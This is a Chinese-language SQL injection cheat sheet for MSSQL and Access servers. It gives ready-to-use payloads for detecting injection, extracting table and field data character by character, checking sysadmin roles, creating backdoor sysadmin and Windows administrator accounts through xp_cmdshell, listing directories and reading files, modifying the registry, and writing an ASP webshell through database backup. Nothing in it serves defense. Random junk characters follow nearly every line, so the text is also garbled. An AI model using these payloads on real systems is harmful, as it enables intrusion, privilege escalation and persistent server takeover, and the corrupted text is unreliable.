1.判断是否有注入;and 1=1 ;and 1=2 &-=K:;x
2.初步判断是否是mssql ;and user>0 l~rb]6E
Qo.Uqz.C
3.注入参数是字符'and [查询条件] and ''=' vGMJ ^q
DKTD Z*
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %MbyKz:X
t-!m
vx9Z
5.判断数据库系统 pr$~8e=c
^Z#@3=
;and (select count(*) from sysobjects)>0 mssql :&9TW]*g
Ge^Qar
;and (select count(*) from msysobjects)>0 access ~H u"yAR
f|#8qiUS
7-X/>v
{\EOo-&A
6.猜数据库 ;and (select Count(*) from [数据库名])>0
J,(7.+`~#
0aogBg_@K
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 mL$f[
v77fQ0w3
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ZjS(ad*.2
/=TH08
9.(1)猜字段的ascii值(access) XMw.wQ'?
Ny^'IUu
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ~r&D6Y
vr 4O8#
(2)猜字段的ascii值(mssql) ;%WdvnW
N
xFUO0O3
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ) "[HZ/
(i]Z|@|)
10.测试权限结构(mssql) T9?54r
3 z=\.R
v,jhE9_O0
x,\!DLq:p
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R*bmu
4sIXO
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- G mA!Mo
U-g9C.
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- yUe+":7k.
036[96t,F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3cixQzb}u
(sCAR=5v\
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3;l "=#5
M|8
3HTJ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5)`h0TK
('4wXD]C
;and 1=(select IS_MEMBER('db_owner'));-- ,9\Snn
76bc]o#
`%=<R-/#7S
iP#=:HZu;
11.添加mssql和系统的帐户 aMJ;bQD
{cR=N~_EO
;exec master.dbo.sp_addlogin username;-- Rh<N);Sl7
;exec master.dbo.sp_password null,username,password;-- DsGI/c
%i"}x/CD[
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Q'K$L9q
^N- 'xy
;exec master.dbo.xp_cmdshell 'net user username password H\#:,s {1
3D_"yZ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ){ gAj
:gf;}
;exec master.dbo.xp_cmdshell 'net user username password /add';-- k. GA8=]>
oHX$k{6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uR_F,Mp?%u
/_*>d)
wa ky<w,
X#ZgS!Mn
12.(1)遍历目录 V!&P(YO:
{/|qjkT&W
;create table dirs(paths varchar(100), id int) eFFc 9'o
v{y{sA
;insert dirs exec master.dbo.xp_dirtree 'c:\' J(s;$PG
6I>^Pf'ND
;and (select top 1 paths from dirs)>0 h1f8ktF
QDE$E.a
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7&+Ys
@G*.1;jO
5I' d PNf
QVtM.oi!Q
(2)遍历目录 au$"B/
^npJUa
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }C,O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Im)EDTm$
Uc&iZFid2K
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 C-w5KW
$Q/Ya@o
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -5k2j^r;
iM5vrz`n
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 Cvn6{
X+l'bp]Ry
c1%rV`)]
_| zBUrN
13.mssql中的存储过程 Fo}7hab
_Y!sVJ){,c
xp_regenumvalues 注册表根键, 子键 x_!ZycEa
CS@&^SEj
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Lh ap4:
/!T> b:0
xp_regread 根键,子键,键值名 R#eg^7HfX
CDdkoajBa
;exec xp_regread -^SA8y
c\.P/~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,.v7FM^gO
7bF*AYM
xp_regwrite 根键,子键, 值名, 值类型, 值 \#6Fm_b]u
A-uB\ L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 98=la,^$
?WFh',`:
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d,9`<1{9
8l>CR#%@C
xp_regdeletevalue 根键,子键,值名 '~Q2!F
s'u(B]E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 &`Ck
X?o(
b/F-
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 o2uj =Gnx
z$[C#5+2
Qh`:<KI
LFu%v7L`
14.mssql的backup创建webshell `i fiL
zoZH[a`H
use model FWY2s(5p
IIz0m3';+
create table cmd(str image); c/aup
'{[),*nC n
insert into cmd(str) values (''); \#,t O%D
MGt]' }
backup database model to disk='c:\l.asp'; JTW)*q9a
J|~26lG
L*JPe"N-e
~cqryr9
15.mssql内置函数 P Sx304
g/Wh,f3
;and (select @@version)>0 获得Windows的版本号 c`G&KCw)d
'2nqHX
D
;and user_name()='dbo' 判断当前系统的连接用户是不是sa e3m*i}K}
N1x@-/xa|
;and (select user_name())>0 爆当前系统的连接用户 d,cN(
'&yeQ
;and (select db_name())>0 得到当前连接的数据库 %XTA;lrz
<@uOCRbV
la^
DjHA$
vkcRm`.
16.简洁的webshell #A<P6zJXR
0q6I;$H
use model Ee2c5C!|C
RBGX_v?
create table cmd(str image); Of[;Qn
tE"Si<[]H$
insert into cmd(str) values (''); .$rC0<G[K
.v\\Tq&"|
backup database model to disk='g:\wwwtest\l.asp';